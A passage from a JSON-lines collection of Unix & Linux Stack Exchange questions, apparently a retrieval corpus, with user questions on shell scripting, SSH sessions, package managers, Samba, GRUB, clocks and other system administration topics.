Adding `\"` to each line is a option but I am looking for a block comment syntax. Similar to `/**/` in C. `//` is identical to `\"` `/* */` is identical to **___ ____** ? Searching Unix.SE, SO and googling didn't help much."} {"_id": "115473", "title": "Can MySQL be malicious without PHP (or other language)?", "text": "I'm pretty sure the answer is \"no\", but who knows. Is a MySQL database able to _initiate_ a communication with the server without any human action ? This server is disconnected from the exterior world and there is no scripting- language file on it."} {"_id": "115471", "title": "LXPanel time is wrong?", "text": "I just upgraded from Lubuntu 12.10 to 13.10, and it was a nightmare. When I logged in I had nothing but a background, no tray or anything. I finally just got the tray back, but it displays the wrong time, and its static, as in it doesn't progress. I have checked that I have the NTP daemon installed; I checked the time using `date` and `hwclock`, and they are both correct. I have also checked that I am in the correct time zone using the time and date frontend. I am stumped. Edit: Excuse me, the time does change, but only hourly; the minutes don't change at all, so it'll go from, say, 10:02 to 11:02."} {"_id": "115478", "title": "Create a Custom User in FreeBSD", "text": "I want to create a user in the FreeBSD for `nginx` that has: * No Login. * No home directory how should I do that with `pw useradd` or any other tool."} {"_id": "115479", "title": "Is there any issue if I kill sync() process before it finished", "text": "On panic situation, I want to set timeout for sync() system call. In the case this timeout value is passed, I want to kill sync process and reboot the system. I wonder if there is any issue with that behivior?"} {"_id": "39342", "title": "How to see how many context switches a process makes?", "text": "I want to see if my process makes a lot of context switches. I also want to see how manpulating task groups affects the number of context switches."} {"_id": "39343", "title": "Why does variable expansion without $ work in expressions?", "text": "#!/bin/bash VALUE=10 if [[ VALUE -eq 10 ]] then echo \"Yes\" fi To my surprise, this outputs \"Yes\". I would have expected it to require `[[ $VALUE -eq 10 ]]`. I've scanned the `CONDITIONAL EXPRESSIONS` section of `man bash`, but I did not find anything to explain this behaviour."} {"_id": "137693", "title": "How to fork a \"cat\" command?", "text": "This is my bash script. #!/bin/bash oo=\"`cat /etc/httpd/conf/httpd.conf`\"; cat > /a.txt << EOF $oo EOF it simply reads /etc/httpd/conf/httpd.conf and writes it to /a.txt, the problem has been when this is executed via web scripts with sudo command.. for some reason not everything is written to the a.txt file but when executed via command line.. everything is written just fine to a.txt so perhaps i should send this to a background process by adding: > /dev/null 2>&1 to it. but how can this be done? i tried #!/bin/bash oo=\"`cat /etc/httpd/conf/httpd.conf`\"; cat > /a.txt << EOF $oo EOF > /dev/null 2>&1 this did not work."} {"_id": "146913", "title": "Is `-` used only with cd?", "text": "`cd -` can switch between current dir and previous dir. It seems that I have seen `-` used as arguments to other commands before, though I don't remember if `-` means the same as with `cd`. I found that `-` doesn't work with `ls`. Is `-` used only with cd?"} {"_id": "39345", "title": "Emacs commands in xterm", "text": "I found that the commands I used to use in `gnome-terminal`, those I learned in Emacs, are only partially working in `xterm`. In some cases, I get strange chars like `\u00ff`, `\u00e6`, and `\u00e2` instead. Do you know how to enable the shortcuts (or even setting them up one by one, as they are not that many)?"} {"_id": "147509", "title": "Relation between the filename and inode of a file", "text": "For a file, it is said that its \"filename\" points to its inode. Does it mean that its \"file name\" is a data structure that has or is a pointer pointing to its inode? It is also said that its \"filename\" is a string. Is this string stored somewhere (perhaps also in a file)? Are the two sayings inconsistent with each other? A hard link cannot link to a file on a different file system, while a soft link can. Is it because a filename pointer cannot point to an inode on a different file system, while a pointer stored in an inode can point to a file content on a differnt file system?"} {"_id": "137699", "title": "Can't install vim in fedora 20", "text": "When I tried to install VIM in fedora 20, appear this message below ![here](http://i.stack.imgur.com/0t0P2.png) How can I fix this problem?"} {"_id": "154880", "title": "Elementary OS won't play videos!", "text": "I got an issue with my eOS that I recently installed. I can hear recordings and music, even videos but can't watch them. I look in the web a solution and each one answered me to install NVIDIA. I did and then reboot and couldn't log in. After a lot of changes, this is the error that is shown in my black display: Could not write bytes: Broken pipe \u2022Stopping restore sound card(s) mixer state(s) \u2022Starting CPU interrupts balancing daemon \u2022Starting CPUS printing spoolers/server \u2022Starting crash report submission daemon \u2022Stopping save kernel messages \u2022Starting the winbind daemon winbind \u2022Starting NTP server ntpd Saned disabled; edit /etc/default/saned Starting preload: preload. I ask at askubuntu.com and someone told me to insert `sudo apt-get install -f`. After that I can no longer see any other display, it just start and freeze in the eOS logo display. So, what should I do? Any answer will be welcome! Thanks!!"} {"_id": "31599", "title": "Mint 12: synaptic package manager error", "text": "Yesterday I had the same issue, I solved it by running sudo synaptic But today I don't know what's happening, if I run `gksu synaptic` or `gksudo synaptic` they don't do anything. If I go to root and execute these commands or execute `sudo synaptic`, I see: sudo synaptic No protocol specified (synaptic:32377): Gtk-WARNING **: cannot open display: :0.0 **EDIT: @Nunoxic** I'm working on my local computer. When I do `sudo apt-get update` some stuff will be updated and some some stuff will not be updated `E: Some index files failed to download. They have been ignored, or old ones used instead.` I ran `sudo apt-get update` 2 days ago. when i do `echo $DISPLAY` the output is `:0` **@Gilles** the output of `echo $XAUTHORITY` is nothing at all:) the output of `sudo env | sort` is COLORTERM=gnome-terminal DISPLAY=:0.0 HOME=/root LANG=en_US.UTF-8 LANGUAGE=en_US:en LC_COLLATE=en_US.UTF-8 LC_CTYPE=en_US.UTF-8 LC_MESSAGES=en_US.UTF-8 LOGNAME=root MAIL=/var/mail/root PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/X11R6/bin SHELL=/bin/bash SUDO_COMMAND=/usr/bin/env SUDO_GID=0 SUDO_UID=0 SUDO_USER=root TERM=xterm USERNAME=root USER=root the output of `sudo xterm` is No protocol specified Warning: This program is an suid-root program or is being run by the root user. The full text of the error or warning message cannot be safely formatted in this environment. You may get a more descriptive message by running the program as a non-root user or by removing the suid bit on the executable. xterm Xt error: Can't open display: %s **EDIT** the output of `XAUTHORITY=~/.Xauthority; sudo xterm` is No protocol specified Warning: This program is an suid-root program or is being run by the root user. The full text of the error or warning message cannot be safely formatted in this environment. You may get a more descriptive message by running the program as a non-root user or by removing the suid bit on the executable. xterm Xt error: Can't open display: %s the output of `sudo -s9999 strace xterm` is sudo: invalid option -- '9' usage: sudo -h | -K | -k | -L | -V usage: sudo -v [-AknS] [-g groupname|#gid] [-p prompt] [-u user name|#uid] usage: sudo -l[l] [-AknS] [-g groupname|#gid] [-p prompt] [-U user name] [-u user name|#uid] [-g groupname|#gid] [command] usage: sudo [-AbEHknPS] [-C fd] [-g groupname|#gid] [-p prompt] [-u user name|#uid] [-g groupname|#gid] [VAR=value] [-i|-s] [] usage: sudo -e [-AknS] [-C fd] [-g groupname|#gid] [-p prompt] [-u user name|#uid] file ..."} {"_id": "31595", "title": "Are kernel threads really kernel processes?", "text": "I've read in many places that Linux creates a kernel thread for each user thread in a Java VM. (I see the term \"kernel thread\" used in two different ways: 1. a thread created to do core OS work and 2. a thread the OS is aware of and schedules to perform user work. I am talking about the latter type.) Is a kernel thread the same as a kernel process, since Linux processes support shared memory spaces between parent and child, or is it truly a different entity?"} {"_id": "31593", "title": "Linux friendly TV tuner/receiver", "text": "My USB TV tuner (an ENUTV-2) just stopped working and now I have to buy a new one. While I was browsing options, I realized my biggest priority was to get one that had Linux drivers (lack of them was my biggest annoyance with the old tuner). Can anyone recommend a TV tuner that has Linux drivers? It could be either PCI-E card or a USB box, my priority is Linux support."} {"_id": "31590", "title": "Are there foreign language Terminal command sets?", "text": "I recently changed my MacBook's UI to show Hebrew, and at around the same time, I began using the Terminal more often. The combination of the two has lead me to wonder - are there Hebrew language commands, or any other non- english language command sets available for the terminal either on Unix, Linux, or Mac OS? (This question leads me to wonder if an entirely separate shell implementation is required for something like that, if it's even possible.) Are there foreign language Terminal command sets?"} {"_id": "47513", "title": "Emacs: Open a buffer with all lines between lines X to Y from a huge file", "text": "In the same spirit as this other question: cat line X to line Y on a huge file: Is there a way to open **from within Emacs** (and show on a buffer) a given set of lines (e.g. all lines between line `X` and `Y`) from a huge text file? E.g. Open and show in a buffer all lines between lines 57890000 and 57890010 from file `huge.txt` **Update:** I am interested in a solution that at least can open the lines in read-only (just for display purposes), although it would be great if I can also edit the lines (and save to the original file)."} {"_id": "47510", "title": "Disable automatic screen lock in XFCE in Centos", "text": "I have a generic install of Centos 5.8 with XFCE 4.4. Pretty much all defaults. As is, after a certain amount of idle time the screen locks (goes black, requires a password to continue). How do I disable the automatic screen lock? I've searched around and read suggestions to use the settings manager to modify the Power Manager or Screen Saver settings but neither of those settings managers/panels/icons are installed on my desktop. UPDATE: It appears `gnome-screensaver` is being started automatically. Of course I could remove that program from the system, but I'd prefer to understand what's going on and use more ordinary configuration methods to prevent it from automatically starting and at the same time keep the option of switching back to it if needed."} {"_id": "33525", "title": "Storing commands in files", "text": "I'm trying to store commands in a file, so I can just easily call the file usnig the below bit of code; ./test I need to run this bit of code; Set n=0 ; foreach sql ( *_*.sql) foreach? sed \u201cs/_/-/g\u201d $sql foreach? @ n ++ foreach? End echo You changed $n files I type the following; set n = 0 > test foreach sql ( *_*.sql) >> test When I get to this point, I ave a blank line appear within the terminal so I type the following 3 lines blind; foreach? sed \u201cs/_/-/g\u201d $sql foreach? @ n ++ foreach? End I then finish with: echo 'echo You changed $n files' >> test Once I finish the output file only contains this: foreach? sed \"s/_/-/g\" $sql foreach? @ n ++ foreach? end echo You changed $n file Totally missing out the set commands and the beginning of the foreach loop. What am I missing here? or is it just not possible? EDITTED #!/bin/tcsh set n=0 foreach sql ( *_*.sql ) sed \"s/_/-/g\" $sql @ n ++ end echo You changed $n files chmod 777 test"} {"_id": "132029", "title": "Archive (Compress) giant folder in Linux using command line without termination", "text": "Well, I'm just trying to compress a whole directory (infact giant!) under Linux using a terminal. The entire folder size is about 7 GB. I've used below command to create the archive. tar -zcvf myArchieve.tar.gz myFolder It's working but in middle it stops by displaying `Terminated` message in the terminal. I could see the archive file created but there were missing file(s)/sub folder(s). in the compressed file. I want to create the entire folder (7 GB) Archive without any 'Terminated' message timeout. How can I achieve this?"} {"_id": "108843", "title": "Linux: How does hard-linking to a directory work?", "text": "I'm aware that Linux does not allow hard-linking to a directory. I read somewhere, 1. that this is to prevent unintentional loops (or graphs, instead of the more desirable tree structure) in the file-system. 2. that some *nix systems do allow the root user to hard-link to directories. So, if we are on one such system (that does allow hard-linking to a directory) and if we are the root user, then how is the parent directory entry, `..`, handled following the deletion of the (hard-link's) target and its parent? a (200) \\-- . (200) \\-- .. (100) \\-- b (300) | \\-- . (300) | \\-- .. (200) | \\-- c (400) | \\-- . (400) | \\-- .. (300) | \\-- d (500) | \\-- H (400) _(In the above figure, the numbers in the parentheses are the inode addresses.)_ If `a/H` is an (attempted) hard-link to the directory `a/b/c`, then 1. What should be the reference count stored in the inode 400: 2, 3, or 4? In other words, does hard-linking to a directory increases the reference count of the target directory's inode by 1 or by 2? 2. If we delete `a/b/c`, the `.` and `..` entries in inode 400 continue to point to valid inodes 400 and 300, respectively. But what happens to the reference count stored in inode 400 if the directory tree `a/b` is recursively deleted? Even if the inode 400 could be kept intact via a non-zero reference count (of either 1 or 2 - see the preceding question) in it, the inode address corresponding to `..` inside inode 400 would still become invalid! Thus, after the directory tree `b` stands deleted, if the user changes into the `a/H` directory and then does a `cd ..` from there, what is supposed to happen? **Note:** If the default file-system on Linux (ext4) does not allow hard- linking to directories even by a root user, then I'd still be interested in knowing the answer to the above question for an inode-based file-system that does allow this feature."} {"_id": "144518", "title": "Pass argument to script, then redirect script as input to bsub", "text": "I am currently working with the bsub job submission system from Platform LSF. I need to submit job scripts, but I am running into a problem with passing arguments to the job script. What I need is as follows: the job script is a bash script that takes one command line argument. I need to pass the argument to that script, then redirect the script to be used as input to bsub. The problem is that the argument isn't being applied to the script. I have tried: `bsub < script.bsub 1` script.bsub is my script and 1 is the numeric argument. This approach doesn't work. The 1 is being treated as an argument to bsub. Another approach: `bsub < \"script.bsub 1\"` This approach makes bsub treat the entire double-quoted line as a filename. Is there a way to apply a command line argument to a script first, then redirect that script with the argument into another program as input? If anyone has experience with bsub that would be even better. UPDATE AND WORKAROUND: It seems applying a command line argument to a bsub file is a very complicated process. I tried the HEREDOC method stated below, but bsub acted as if the script filename was a command. So the easiest way to get around this problem is just to not use input redirection at all. To pass an argument to a script to be run in bsub, first specify all bsub arguments in the command line rather than in the script file. Then to run the script file, use \"sh script.sh [arg]\" after all of the bsub arguments. Thus the entire line will look something like: bsub -q [queue] -J \"[name]\" -W 00:10 [other bsub args] \"sh script.sh [script args]\" This doesn't answer my original question, but at least with bsub this is the simplest resolution to my problem."} {"_id": "33520", "title": "What distribution for light weight server?", "text": "I'm planning on setting up a VM linux box. It needs to be as light weight as possible - no need for GUI. Requirements: * It will be connected to VPN * It will be running maintenance scripts on mysql server every night and schedule backups. (we have custom java programs that doing all that maintenance stuff). Preference: - Debian (due to Apt and ease of maintenance) - RH (same as above with RPMs) What I have found so far: LUbuntu and Puppy. (DSL doesn't seem to be maintained anymore?) EDIT: Puppy - not what I'm after. Just tried it, its awesome as a USB stick desktop. Not lightweight server. Questions: Has anyone had any experience with those or perhaps similar requirements? Are there any better linux distros that are made especially to be lightweight servers?"} {"_id": "144515", "title": "Samba 3.5.9 - join domain specific OU - net join ads", "text": "Our Unix team often uses Samba to join machines to the domain. The command they have traditionally used is: net join ADS -w [domain name] -U [username] I am one of our AD admins and I am trying to find out how to get them to be able to join to a specific OU so we can have all of the Samba machines organized in AD. From all of my research, it seems that this should work: net join ads \"Servers/Samba\" -w [domain] -U [username] This still allows the machine to join to the domain without issue but it keeps ending up in the 'computers' container and we receive no errors. I have made sure on the AD side that the user they are using have join domain rights and create/delete computer objects on both the \"servers\" OU tree and the \"computers\" container. What am I missing? I can't find much documentation on the Samba net commands without having access to a unix box with it. Also, I noticed in most examples people always had 'net ads join...' rather than 'net join ads...' - our Unix admin got errors when trying to use net ads join. I do not know why our syntax seems different then most examples I found but I wanted to point it out. Here are some sites that support my research: https://www.samba.org/samba/docs/man/Samba-HOWTO-Collection/domain-member.html http://www.members.optushome.com.au/~wskwok/poptop_ads_howto_6a.htm"} {"_id": "144514", "title": "Add arguments to bash -c", "text": "Let say that I want to run a command through bash like this: /bin/bash -c \"ls -l\" According to bash man page, I could also run it like this: # don't process arguments after this one # | pass all unprocessed arguments to command # | | # V V /bin/bash -c ls -- -l except it doesn't seem to work (it seems ignored). Am I doing something wrong, or am I interpreting man page wrong? Relevant quotes from man: > If the -c option is present, then commands are read from string. If there > are arguments after the string, they are assigned to the positional > parameters, starting with $0. and > A -- signals the end of options and disables further option processing. Any > arguments after the -- are treated as filenames and arguments."} {"_id": "144513", "title": "Unable to synchronize the clocks on a dual boot system", "text": "A have a dual boot system: Ubuntu and Arch. Ubuntu was installed first. A while after installing Arch, I've set up its clock because it was 8 behind my current time zone (my time zone is gmt +8). I don't remember the actual command, something like `date --set \"xxxxxx\"`. However, I do remember that I specified the time zone during its installation (gmt +8, Hong Kong). And when I checked `sysclock` and it showed the real time in my time zone. In Ubuntu the time zone remained the same - gmt +8. That being said, after setting up the clock in Arch I found out that the clock in Ubunutu was 8 hours behind the actual time. But! The time zone was still the same - gmt +8. So now in both systems the time zone is the same (Hong Kong) but the time is different in 8 hours. What's more that the clock in Ubuntu was changed by itself when I changed the clock in Arch. What do I do about that? `sudo hwclock --show` shows the same time on both systems."} {"_id": "103231", "title": "Running Apache as Group only?", "text": "I have a folder with files owned by: joe:www-data, joe belongs to the group. Apache only seems to cooperate with www-data:www-data. Is there a way around this so I can keep the user as joe and the group as www-data? Is it recommended to use this module below if I want to accomplish this task? Is this a good idea? # # If you wish httpd to run as a different user or group, you must run # httpd as root initially and it will switch. # # User/Group: The name (or #number) of the user/group to run httpd as. # It is usually good practice to create a dedicated user and group for # running httpd, as with most system services. # User daemon Group daemon "} {"_id": "147500", "title": "agrep with directionally biased penalties", "text": "I am using `tre-agrep`, an implementation of `agrep`, to perform approximate pattern matching. This utility searches for matches based on Levenshtein distance, and the user can configure the penalty applied for substitution, insertion, or deletion edits. I would like, however, to apply weighs differentially across the length of the query, namely with a lower weight for deletions at the beginning (left end) of the query than at the right. The `man` page for this utility does not indicate that such a level of control is possible. Are there other command line tools where approximate matching with finer control over the mismatch penalties is possible?"} {"_id": "479", "title": "Keep SSH Sessions running after disconnection", "text": "I sometimes have long running processes that I want to kick off before going home, so I create a SSH session to the server to start the process, but then I want to close my laptop and go home and later, after dinner, I want to check on the process that I started before leaving work. How can I do that with SSH? My understanding is that if you break your SSH connection you will also break your login session on the server, therefore killing the long running process..."} {"_id": "90446", "title": "How to run script using SSH from remote computer and avoid its interruption if remote computer goes offline", "text": "I have a remote Linux server and I use it to run some very long tasks using SSH. It works great, but, of course, if the connection dies for some reason, the task dies. Specifically, I'm running something like this: [myName@localStation]$ ssh john_doe@myRemoteServer Password: ***** [john_doe@remoteServer]$ ./myVeryLongTask.script > myOutputLog.txt Is there a way to tweak the SSH connection in such a way that, if the network connection fails, the task keeps running?"} {"_id": "5528", "title": "How can I make a process I start during an SSH session run after the session has ended?", "text": "> **Possible Duplicate:** > Keep SSH Sessions running after disconnection. I have a process which is basically a web-server, I start it during an SSH session. However, when I leave the session (by closing the PuTTY windows), it stops running and responding to requests. This is true even if I end the command with a `&`. With Apache, I don't have this problem, it comes with a stop, a start, and a restart script. I'd like to create something like that for this program. How can I start a process, so that it will continue running even after I end the SSH session I started it in? Also how can I set it to restart itself if it stops for some reason? Thanks!"} {"_id": "89483", "title": "Keeping a process running after putty or terminal has been closed", "text": "I'm running a `node.js` server off of a raspbian (Debian) machine, and I'd like to start and stop the server remotely. This for me means using `putty` to access the shell, except when I close out of the `putty` terminal or it times out my server goes down with it, because I just execute my server in the foreground. So I'm wondering if there's a way to keep it going but still have a way to kill the process afterwards."} {"_id": "94385", "title": "Is there a mechanism to run a \"service\" by a non-root user?", "text": "Is there a way I can have a continuously running, background process that can be controlled by me (a regular, non-root user)? All I need to be able to do is start, stop and restart the process. Monitoring by PID and sending SIGHUP or SIGINT for termination is fine. I'm okay with using a complicated bash script, it doesn't have to be something system-wide. Just for me. I also really need it to not stop when I log off from ssh. Is there a way I can do this in RHEL 6.4?"} {"_id": "131897", "title": "Keeping a process running on server even SSH is closed", "text": "I am running long program on server, which is basically Jar file of java program. I want to keep this program running even if SSH terminal is closed, how I can keep this program running on server?"} {"_id": "137521", "title": "Red Hat internal specifications", "text": "I'm doing a homework assignment for my college, and I'm trying to find the parameters used in kernel compilation on RedHat. My teacher asks: \"Analyse and describes in terms of models of each version of linux for Servers: process, scheduling, memory management, file system, security\" I can't find anything on RedHat documentation (what I found was too brief). I searched the entire RedHat website and I couldn't find it, can someone give me a pointer?"} {"_id": "137523", "title": "Can I use a shell or python script to execute commands in a chroot?", "text": "I need: to make a shellscript which can chroot into a linux environment and run a command there. I am using: arch-chroot (on the arch linux livecd)"} {"_id": "145387", "title": "Can't connect to local MySQL server through socket '/var/run/mysqld/mysqld.sock' (2)", "text": "When I try to start MySQL it says \"failed!\", so I try using `mysqladmin ping` and get the following: mysqladmin: connect to server at 'localhost' failed error: 'Can't connect to local MySQL server through socket '/var/run/mysqld/mysqld.sock' (2)' Check that mysqld is running and that the socket: '/var/run/mysqld/mysqld.sock' exists!\" Why is the `mysqld.sock` file missing from my directory? I've checked everywhere, but I can't find it."} {"_id": "89944", "title": "Causing fluxbox to show a different time then the default timezone", "text": "I've moved to fluxbox as my default environment on our corporate environment. I obviously can't change the time on the machine. But I'd like the clock to show my local time instead of the machine's local time. Any way that can be achieved?"} {"_id": "140245", "title": "Dual Boot GRUB2", "text": "I just installed EasyBCD for my dual boot laptop (Windows7 and Ubuntu 14.04). Everything works great, however if I choose the Ubuntu option on loading, the next screen it takes me to is GRUB2 with the options of Windows and Ubuntu. How do I bypass that screen so that it bypasses the Linux bootloader and goes right into Ubuntu When I edited the grub file as suggested and run a `sudo update grub` this is what I get: Found linux image: /boot/vmlinuz-3.13.0-27-generic Found initrd image: /boot/initrd.img-3.13.0-27-generic Found linux image: /boot/vmlinuz-3.13.0-24-generic Found initrd image: /boot/initrd.img-3.13.0-24-generic Found Windows 7 (loader) on /dev/sda3 done` When I restart it, the grub still appears as the same."} {"_id": "108216", "title": "find with execdir", "text": "I run a `find` with `execdir` both I don't get the results I was expecting. SSCCE below: mkdir -p a/b/c find . -type d -execdir touch foo \\; $ tree a a \u251c\u2500\u2500 b \u2502\u00a0\u00a0 \u251c\u2500\u2500 c \u2502\u00a0\u00a0 \u2514\u2500\u2500 foo \u2514\u2500\u2500 foo Directory `c` does not contain a `foo` file. How do I get to visit and do something locally in each directory?"} {"_id": "108217", "title": "Can I use `type` to check whether an arbitrary name is a valid command name?", "text": "The bash built-in `type` can be used for this purpose by checking its exit status: Exit Status: Returns success if all of the NAMEs are found; fails if any are not found. How portable is it? The POSIX spec is a little bit less clear regarding the exit status of `type`: EXIT STATUS The following exit values shall be returned: 0 Successful completion. >0 An error occurred. Source: http://pubs.opengroup.org/onlinepubs/009695399/utilities/type.html"} {"_id": "108218", "title": "How to start a virtual machine filled with qemu-nbd?", "text": "I migrated a Windows OS (entire disk) to a virtual machine on another host (Debian with `qemu` and `kvm`). I used **Selfimage** to export the disk. On the host, first of all, I created an empty virtual machine: qemu-img create -f qcow2 myVM.qcow2 180G And I imported the image by: qemu-nbd -t myVM.qcow2 -p 1024 After 10 hours the image was exported. I stopped `qemu-nbd` by `Ctrl`+`C`. Now I don't know how to start the VM or how to add it with `virt-manager`!"} {"_id": "155105", "title": "Yum regular expression or wildchard search?", "text": "Fedora documentation says: > 5.2. Advanced Searches > > If you do not know the name of the package, use the search or provides > options. Alternatively, use wild cards or regular expressions with any yum > search option to broaden the search critieria. Well, at first I thought that this is simply wrong or outdated, since no known syntax of regular expressions would work with `yum search`, but then I found this: `yum search [cl-*]` for example. But it does something otherworldly. It finds things which have neither \"c\" nor \"l\" letters in the name or description. (What I wanted is to find all packages, whose names would be matched by `cl-.*` regexp. I also found few people suggesting to pipe yum results to `grep`, which, of course, solves the problem. But, just on principle, I want to find out what did the thing in the square brackets do. What if `yum` actually can search by regexp?"} {"_id": "41571", "title": "What is the difference between $* and $@?", "text": "Consider the following code: foo () { echo $* } bar () { echo $@ } foo 1 2 3 4 bar 1 2 3 4 It outputs: > 1 2 3 4 > > 1 2 3 4 I am using Ksh88, but I am interested in other common shells as well. If you happen to know any particularity for specific shells, please do mention them. I found the follwing in the Ksh man page on Solaris: > The meaning of $* and $@ is identical when not quoted or when used as a > parameter assignment value or as a file name. However, when used as a > command argument, $* is equivalent to ``$1d$2d...'', where d is the first > character of the IFS variable, whereas $@ is equivalent to $1 $2 .... I tried modifying the `IFS` variable, but it doesn't modify the output. Maybe I'm doing something wrong?"} {"_id": "94126", "title": "Should I use $* or $@?", "text": "Which one of `$*` or `$@` is better to use (in array syntax,command line parameters, etc.) to avoid any bugs/problems in code? Or it does not make any difference?"} {"_id": "95955", "title": "What is the meaning of $* in a shell script?", "text": "In a shell script file i saw \"$*\", what does it mean and when we have to use it?"} {"_id": "9590", "title": "In bash, what is the safest way to pass variables to another program -- $* or $@?", "text": "Can someone explain to me in a concise way what the difference between these two vars is? What is the safest way to pass variables to another program? E.g. #! /bin/bash # do stuff # pass variables onto another program java $@"} {"_id": "141287", "title": "what does $* mean in shell", "text": "What does `$*` mean in shell? I have code two function, `run_command` and `run_test`, they are called like this: if [ -n \"`echo ${GOAT_COMMANDS} | grep $1`\" ]; then run_command $* else run_test $* fi I want to understand what `$*` means, but Google search is very bad for searching these kinds of things."} {"_id": "55385", "title": "Where to download Fedora 16", "text": "I am having a really hard time finding a place to download Fedora 16 64 bit distribution are there still places that have links up for 16th version instead of 17? A Virtual image for VirtualBox would be good as well."} {"_id": "86348", "title": "Playing an ogg format video using gstreamer in an embedded system", "text": "I created a pipeline to play an ogg formatted video on an embedded system. I used the gst plugins like `libgstvorbis.so`, `libgsttheora.so`, and `libogg.so`, and copied them to the `/lib` folder on my embedded system. But when trying to play the video, 'm receiving warnings like > (:25214): GStreamer-WARNING **: Failed to load plugin > '/lib/gstreamer-0.10/libgstogg.so': /lib/gstreamer-0.10/libgstogg.so: > undefined symbol: gst_collect_pads2_start > > (:25214): GStreamer-WARNING **: Failed to load plugin > '/lib/gstreamer-0.10/libgstvorbis.so': /lib/libm.so.6: version `GLIBC_2.15' > not found (required by /lib/gstreamer-0.10/libvorbis.so.0) > > (:25214): GStreamer-WARNING **: Failed to load plugin > '/lib/gstreamer-0.10/libgsttheora.so': /lib/gstreamer-0.10/libgsttheora.so: > undefined symbol: gst_element_class_add_static_pad_template How can I fix this?"} {"_id": "86349", "title": "Given a mime-type get the corresponding file extension", "text": "I want to download I file using `curl` to a temporary directory with the appropriate extension. Currently I do something like this: tmp=\"$(mktemp -t 'curl')\" curl -o \"$tmp\" http://example.com/generate_image.php?id=44 file -b --mime-type \"$tmp\" This will print the mime-type of the downloaded file, but how do I map these to extensions? As you can see I can't just extract the \"extension\" of the url as that would give `.php` instead of `.png`. I know there isn't a one-to-one map between mime-types and file extensions but it should handle normal file extensions."} {"_id": "124457", "title": "Can't find nmap executable in Metasploit", "text": "I'm running Metasploit in archlinux and when I execute msf> db_nmap -h It'll return an error: The nmap executable could not be found Now, I know I am probably missing a binary or something, but how did I end up missing it? I installed `ruby1.9` and `metasploit-git` from the AUR."} {"_id": "120219", "title": "Hide \"Mail\" in emacs mode line", "text": "This is small stuff but I haven't been able to figure it out: How do I hide \"Mail\" from the mode line in emacs?"} {"_id": "91046", "title": "Search for mail content with mutt", "text": "Is it possible to use to search for specific mail content using built-in functionality of Mutt? Or, as last resort, how can I configure `grep` to be used in Mutt ? The documentation only mentions the `search` and `limit` functions, which only search headers."} {"_id": "86341", "title": "PCLinuxOS install without usb keyboard at bootloader", "text": "I have a PCLinuxOS Live CD in a very old computer (emachines etower 500i), and have managed to boot into the Live CD. The USB keyboard does not work in the bootloader, so it is impossible to select the \"Install\" option. I see from `isolinux.cfg` that the install is activated as an option to the kernel (`install` on the kernel command line). How can I get PCLinuxOS installed from the live cd (by activating the installer, or by manually copying over the files, with `cp` or `dd`)?"} {"_id": "86342", "title": "Tshark not running via gdb", "text": "I have successfully installed wireshark on centos 6.4 I can run the command tshark it works perfectly fine. I want to run gdb so that I want to learn how it decodes tcp and udp packet as I am writing an application where I need to dissect these two types of packets. When I run libtool --mode=execute gdb tshark it run and stop at here (gdb) it not capturing anything."} {"_id": "77101", "title": "No bluez device after pactl list sources short", "text": "I am using pulseaudio on a Raspberry Debian (Wheezy) but my bt-headset(Iqua BHS-611) does not show up in sources or sinks. **What I did:** I followed the _Raspbian Wheezy Installation Guide_ at: http://kmonkey711.blogspot.de/2012/12/a2dp-audio-on-raspberry-pi.html Having entered: pactl list sources short I only get the following but no bluez device. 0 alsa_output.platform-bcm2835_AUD0.0.analog-stereo.monitor module-alsa-card.c s16le 2ch 44100Hz SUSPENDED Instead of the command `bluez-simple-agent` I used `hcitool scan` which showed my device: bluez-test-device trusted yes This appeared to work as well but still no bt-devices."} {"_id": "134919", "title": "Issue installing OpenVPN via apt", "text": "Pastebin I wanted to install OpenVPN on my Debian Wheezy server at home, so I could create a tunnel with my phone or tablet from outside my home. We use OpenVPN at work, so I figured it would be easy enough to setup, given my experience. When I execute (as root) `apt-get install openvpn`, it looks like it installs, then fails. OK, I'll check what `dpkg --audit` has to say about it. It claims that it's not configured properly. Alright, I run `dpkg --configure openvpn`, but I just get an error about the boot order. It claims to conflict with minidlna and denyhosts, two services I run at home. I have minidlna so I can watch my media on my other devices (i.e. my XBox), and denyhosts to block a lot of script kiddies who try to get into my website. I would prefer to not have to remove those packages, but is there some way I can get OpenVPN to install on this box?"} {"_id": "124452", "title": "Arch Linux not picking up static DHCP lease from DD-WRT", "text": "I have a Arch Linux system on my home network and its MAC address is setup in my Linksys running DD-WRT to receive a static lease. However, this system is not getting the static lease from the DD-WRT, but rather a random ip from the dynamic pool. I tried various things, like forcing a lease renewal, but to no avail. How should I go about troubleshooting this problem? Running Arch Linux 201404 with a wired connection. I am new to Arch, but been a long time Debian user, so the Arch `ip` toolset is not too familiar to me."} {"_id": "132461", "title": "Extract lines based on words on position, not column", "text": "I have a file like this: v ATOM 57 O LYS A 7 2.254 25.484 18.942 1.00 14.46 ATOM 77 NH1AARG A 8 5.557 19.204 13.388 0.55 24.50 TER 1648 ILE C 206 HETATM 1668 O HOH A1023 25.873 38.343 2.138 1.00 21.99 ^ Only lines which has A at the marked position are what I need. You see, the A in the second row is on the fourth column, not fifth as others, and the fifth column of the last row is A1023, not A anymore. I have tried this, but it needs some temp files, which I don't want to. I think there are tools for this. I want to extract a **whole** line, not only the word. I need my input to be: ATOM 57 O LYS A 7 2.254 25.484 18.942 1.00 14.46 ATOM 77 NH1AARG A 8 5.557 19.204 13.388 0.55 24.50 HETATM 1668 O HOH A1023 25.873 38.343 2.138 1.00 21.99 But sometimes I also want to extract only A, not Aabcdef, like this: ATOM 57 O LYS A 7 2.254 25.484 18.942 1.00 14.46 ATOM 77 NH1AARG A 8 5.557 19.204 13.388 0.55 24.50"} {"_id": "91507", "title": "htop: show processes of all users except root", "text": "I am aware of the `-u` option in htop, where I can show only processes of a given user, such as: htop -u root I am wondering whether there is a way to show processes of all user except root."} {"_id": "82909", "title": "GNU screen, tmux, dvtm - none work as ordinary user", "text": "I bought cheapest vps for teamspeak hosting and I have strange issues with demonizing it's process. None of screen tmux and dvtm work for ordinary user, but they work witout a charm for root. As far as i know running server apps from root is not very wise. No errors are generated, I could not find any logs. screen -> instant [screen is terminating] dvtm -> instant hang, I need to reconnect ssh tmux -> this imageshack.us/photo/my-images/39/i59a.png/ @edit ok, here's the sollution `chmod 666 /dev/ptmx`"} {"_id": "129431", "title": "Stop atieventsd flooding my journalctl", "text": "When running `journalctl -f`, this line shows up every seconds.. Month DD HH:MM:SS computername atieventsd[number]: xauth: file list does not exist for example May 15 08:32:11 gravity 